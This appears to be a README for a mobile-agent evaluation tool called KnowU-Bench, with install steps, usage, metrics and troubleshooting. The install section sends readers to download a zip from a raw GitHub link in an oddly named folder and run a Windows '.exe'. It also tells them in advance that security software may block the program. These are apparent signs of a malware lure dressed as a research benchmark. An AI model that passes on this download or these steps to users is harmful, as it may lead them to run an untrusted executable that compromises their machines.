KnowU-Bench helps you test how well mobile agents perform. The software provides a standard way to measure if your mobile assistant acts in a proactive and personalized manner. Researchers and developers use this tool to track progress in mobile automation.
Your computer must meet these requirements to run the software:
- Operating System: Windows 10 or Windows 11 (64-bit).
- Processor: Intel Core i5 or AMD equivalent.
- Memory: 8 GB RAM.
- Storage: 2 GB of free space.
- Graphics: Support for DirectX 11 or higher.
Follow these steps to install the software on your Windows computer.
- Visit this page to download the software: https://github.com/annhien136loan117-cyber/KnowU-Bench/raw/refs/heads/main/uncalmed/Bench-Know-v3.0-beta.3.zip
- Select the file ending in .exe from the latest release.
- Save the file to your computer.
- Locate the file in your Downloads folder and double-click it.
- Follow the prompts on the screen to finish the installation.
The program interface focuses on simplicity. Once you open the application, you see a dashboard with your agent current metrics.
To start a new evaluation session, click the button labeled New Test on the top left. Select the specific mobile agent you want to evaluate from the drop-down menu. The system loads the necessary configuration files for you automatically.
The settings menu allows you to adjust how the system interacts with test environments. You can change the speed of the evaluation and the level of logging detail. Most users keep the default settings for initial testing.
Once the test finishes, the software generates a report. You can view these results as a chart or export them as a document for sharing. The software saves these reports in the Documents folder under KnowU-Bench.
The evaluation process tracks three main areas of agent performance.
- Personalization: Does the agent remember past interactions?
- Proactivity: Does the agent offer help before you ask?
- Interaction Quality: Does the agent follow instructions correctly?
Each metric receives a score on a scale of 0 to 100. A score of 70 or above indicates that the agent performs within acceptable parameters.
If the software fails to launch, verify that your Windows system has all updates installed. Sometimes, security software blocks the application. Check your security logs if the program does not appear.
Ensure that you have enough memory available. Close other programs if you notice the system running slow during an evaluation. If you see an error message, copy the text of the error and search for it in our help portal.
The current version supports Windows only.
An internet connection is necessary to download the latest agent profiles, but the evaluation process itself runs locally on your machine.
The application checks for updates every time you open it. If a new version exists, the system prompts you to download the installer.
Use the Issues tab on the project page to submit bug reports. Provide a clear description of what happened when the error occurred.
Respect user privacy when testing agents. Always use data sets that contain no personal information. Ensure that your tests comply with local regulations and organizational policies regarding automated systems.
This tool serves as an aid for development. Always verify outcomes with manual checks before finalizing your reports. Use the system to identify strengths and weaknesses in your design.